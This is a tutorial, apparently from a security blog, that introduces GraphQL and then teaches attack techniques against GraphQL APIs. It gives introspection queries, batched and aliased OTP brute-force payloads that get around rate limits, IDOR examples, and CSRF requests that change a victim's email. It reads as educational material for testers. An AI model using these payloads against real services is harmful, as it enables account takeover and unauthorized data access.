As per graphql.org :
GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.
Let's simplify this definition; GraphQL is very similar to ordering food at Subway. At subway you have the power to ask the server exactly what you want to eat. You can specify the type of bread, the ingredients, and any specific sauce you want. Then the server gives you exactly what you asked for.
In the same way, GraphQL is a query language that allows you to request data from a server. Instead of getting a fixed set of data, like in traditional APIs, you can send a query to the server specifying exactly what data you need. You define the structure of the data you want and the server responds with that specific data, nothing more and nothing less.
GraphQL lets you ask for data more specifically, like ordering food at a restaurant. With GraphQL, you can avoid over-fetching (getting more data than you need) or under-fetching (making multiple requests to get all the necessary data). This is achieved using a well-defined schema that specifies the data requirements.
A GraphQL operation is a request made to a GraphQL server to perform a specific action, such as retrieving data (query) or modifying data (mutation). It follows a structured syntax and is defined using the GraphQL query language.
GraphQL operations consist of the following components:
In the above example:
In the above example, the userFields
fragment is defined once and can be reused in GetUser
queries, reducing duplication, and improving maintainability.
GraphQL schemas play an important role in GraphQL server implementations. They serve as a blueprint that defines the operation accessible to clients when querying the server.
A schema defines the types and relationships within a GraphQL API. It outlines the object types and specifies how fields on those types are related to one another. In addition to defining types and relationships, a GraphQL schema also defines queries, mutations, and subscriptions.
1type Query { 2 hello: String 3 user(id: ID!): User 4} 5 6type User { 7 id: ID! 8 name: String! 9 email: String! 10} 11
In this example, we have a basic schema with two types: Query
and User
.
The Query
type represents the entry point for fetching data from the server. It has two fields: hello
and user
. The hello
field returns a String
, and the user
field accepts an id
argument of type ID
and returns a User
object.
The User
type defines the structure of a user object. It has three fields: id
, name
, and email
. The id
field is of type ID!
, which indicates that it's a non-null field and must always have a value. Similarly, the name
and email
fields are of type String!
, indicating non-null strings.
With this schema, you can query the server for the hello
field to get a string response or use the user
field with an id
argument to retrieve a specific user object with their id
, name
, and email
information or both.
In GraphQL, queries and mutations are two essential concepts that allow clients to interact with the server's data. While they serve a similar purpose of fetching and modifying data, there are important distinctions between the two. This section aims to clarify the differences between queries and mutations in GraphQL.
Queries in GraphQL are used to fetch data from the server. They resemble GET requests in traditional RESTful APIs. Here are some key characteristics of queries:
Example:
Consider an e-commerce application. A query to fetch product details might look like this:
1query GetProduct { 2 product(id: "123") { 3 name 4 price 5 description 6 reviews { 7 author 8 rating 9 comment 10 } 11 } 12} 13
In this example, the query is requesting the name, price, description, and reviews of a specific product with the given ID.
Mutations in GraphQL are used to modify data on the server. They resemble POST, PUT, PATCH, or DELETE requests in traditional RESTful APIs. Here are some key characteristics of mutations:
Example:
Using the same e-commerce application, a mutation to create a new product might look like this:
1mutation { 2 createProduct(input: { 3 name: "New Product" 4 price: 99.99 5 description: "A great new product" 6}) { 7 id 8 name 9 price 10 } 11} 12
In this example, the mutation is creating a new product with the specified name, price, and description. The server responds with the ID, name, and price of the newly created product.
Subscriptions are a type of GraphQL operation that allows clients to receive real-time updates from the server. Unlike queries and mutations that are request-response based, subscriptions establish a persistent connection over WebSocket or other supported protocols. This connection enables the server to push data updates to clients as soon as they occur, providing a seamless real-time experience.
In the previous section, we disscused about GraphQL schema, which serves as a blueprint defining the operations accessible to clients. Now, to gain insight into this schema, GraphQL offers a powerful feature called "Introspection."
Introspection allows clients to query the GraphQL server about its schema. With Introspection we can discover and explore the entire API surface, making it easier to understand and interact with the available data and operations. Using introspection, hackers can explore the types, fields, and relationships defined in the schema, queries, and mutations.
We can get the schema of GraphQL by querying the __schema
field, always available on the root type of a Query. Let's understand this by a simple example.
Introspection query to get all types:
Query
1query AllTypesQuery { 2 __schema { 3 types { 4 name 5 } 6 } 7} 8
Response
1{ 2 "data": { 3 "__schema": { 4 "types": [ 5 { 6 "name": "Query" 7 }, 8 { 9 "name": "String" 10 }, 11 { 12 "name": "ID" 13 }, 14 { 15 "name": "Mutation" 16 }, 17 { 18 "name": "Episode" 19 }, 20 { 21 "name": "Boolean" 22 } 23 ] 24 } 25 } 26} 27
Explanation:
types
field inside __schema
provides information about all the types in the schema, including object types, scalar types, enum types, and interface types.name
.name
represents the name of the type.Query
1query IntrospectionQuery { 2 __schema { 3 queryType { 4 name 5 } 6 mutationType { 7 name 8 } 9 subscriptionType { 10 name 11 } 12 } 13} 14
Response
1{ 2 "__schema": { 3 "types": [ 4 { 5 "name": "Query", 6 "kind": "OBJECT" 7 }, 8 { 9 "name": "Mutation", 10 "kind": "OBJECT" 11 }, 12 { 13 "name": "Subscription", 14 "kind": "OBJECT" 15 }, 16 { 17 "name": "User", 18 "kind": "OBJECT" 19 }, 20 { 21 "name": "Post", 22 "kind": "OBJECT" 23 }, 24 { 25 "name": "ID", 26 "kind": "SCALAR" 27 }, 28 { 29 "name": "String", 30 "kind": "SCALAR" 31 } 32 ] 33 } 34} 35 36
And with the below query the server should respond with the full schema. Reading the json body can be painful. You use tools such as GraphQL Voyager to visualize the schema.
1{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} 2
Having the schema makes it simpler for us to exploit it since we have the schema and know which queries and mutations are accessible. What if introspection is disabled?
By default, GraphQL server comes with an in-built capability to hint at the correct field names to use in either queries or mutations if the wrong ones are specified in the request.
🛑NOTE: This is not a vulnerability; its a feature which we can leverage to see graphql schema. So don't report this to bug bounty platforms.
By leveraging this capability, an attacker could conduct a bruteforce attack to discover the GraphQL schema.
I will list some tools that can be used to automate this :
Another simple way to get queries and mutations when introspection is disabled is by looking into javascript code. For making request via browser developers, hardcode queries and mutation into javascript code. By digging into javascript you can get queries and mutations. By utilizing burp search feature you can search for keywords like query
& mutation
. If you don't have Burp Pro license you can use firefox console and visit Debuger
tab and search for the keywords, and from chrome you can do this by using Sources
tab
GraphQL batching is an optimization technique that allows multiple GraphQL queries to be merged and sent together in a single request. Upon reaching the server, all the queries in the batch are executed one after another.
Since GraphQL allows batching, an attacker can craft multiple login
mutation requests with different OTP codes in a single batch. The attacker could send an array of login
mutations, each with a different OTP code, to the server in one HTTP request.
1[ 2 { 3 "query": "mutation { login( otp: '111111' ) { accessToken expiresAt }}" 4 }, 5 { 6 "query": "mutation { login( otp: '222222' ) { accessToken expiresAt }}" 7 }, 8 { 9 "query": "mutation { login( otp: '333333' ) { accessToken expiresAt }}" 10 } 11... 12] 13
If the server had proper rate limits in place then we would fail this bruteforce attack after 5-10 attempts but using graphql we can try every combination in just one single request and the server would process each query one after another bypassing rate limit.
We could also use alias to exploit this. A payload using an alias would look like this:
1mutation { 2 login(otp: '111111') 3 second: login(otp: '222222') 4 third: login(otp: '33333') 5 ... 6} 7
Vulnerabilities such as IDOR, SQLi and CSRF are present in Graphql, just as with REST APIs. Graphql is not inherently secure; it is merely a query language. To execute a query, developers must write resolver functions which then execute the query on the backend. These resolvers can create human errors which often lead to access control issues and privilege escalation.
Example Scenario: A Note-Taking Application
Consider a simple GraphQL API for a note-taking application where users can create, read, update, and delete their notes. Each note has an id
, title
, content
, and userId
to associate it with the creator.
1. Vulnerable Query - Read Note:
A typical GraphQL query to read a user's note might look like this:
1query { 2 noteById(id: "123") { 3 id 4 title 5 content 6 } 7} 8
In this query, the noteById
field fetches the note by its id
. However, if proper authorization and access control checks are not in place, an attacker can easily modify the id
parameter and request notes that belong to other users.
2. Vulnerable Mutation - Modify Note:
A simple GraphQL query to modify a user's note might look like this:
1mutation { 2 editNote(id: "123", content: "This book is great!") { 3 id 4 title 5 content 6 } 7} 8
In this mutation , the editNote
field edits the content of note by its id
. However, if proper authorization and access control checks are not in place, an attacker can easily modify the id
parameter and change notes that belong to other users.
If the user input is not sanitized properly, it can lead to SQL/NoSQL injection as developers may write resolver functions which can execute queries on database.
CSRF attacks are also possible against GraphQL APIs that rely on the cookie for authentication. Consider a scenario where a GraphQL API has a mutation that allows users to update their profile information:
1mutation { 2 updateProfile(name: "New Name", email: "[email protected]") { 3 id 4 name 5 email 6 } 7} 8
If authentication is done via cookies, and the application is using a GET or POST based form to query the GraphQL endpoint, you can exploit CSRF using a normal HTTP form.
For example:
Consider this two request GET & POST
1GET /graphql?query=mutation+%7B+updateProfile%28name%3A+%27Attacker%27%2C+email%3A+%27attacker%40email.com%27%29+%7B+id+name+email+%7D+%7D HTTP/1.1 2 3Accept-Encoding: gzip, deflate 4Accept: */* 5Connection: close 6
1POST /graphql HTTP/1.1 2Host: example.com 3User-Agent: i am vengeance 4Accept-Encoding: gzip, deflate 5Accept: */* 6Connection: close 7Content-Length: 125 8Content-Type: application/x-www-form-urlencoded 9 10query=mutation+%7B+updateProfile%28name%3A+%27Attacker%27%2C+email%3A+%27attacker%40email.com%27%29+%7B+id+name+email+%7D+%7D 11
An attacker can perform CSRF by crafting a simple HTML form that automatically submits a mutation request to update the user's profile.
However, many times developers use a JSON body to send GraphQL queries to the backend. In that case, if the content-type is not properly validated, then you can exploit this by crafting an XHR/Fetch request using Javascript. And if the content-type is properly validated, then you have to rely on CORS misconfiguration.
What is GraphQL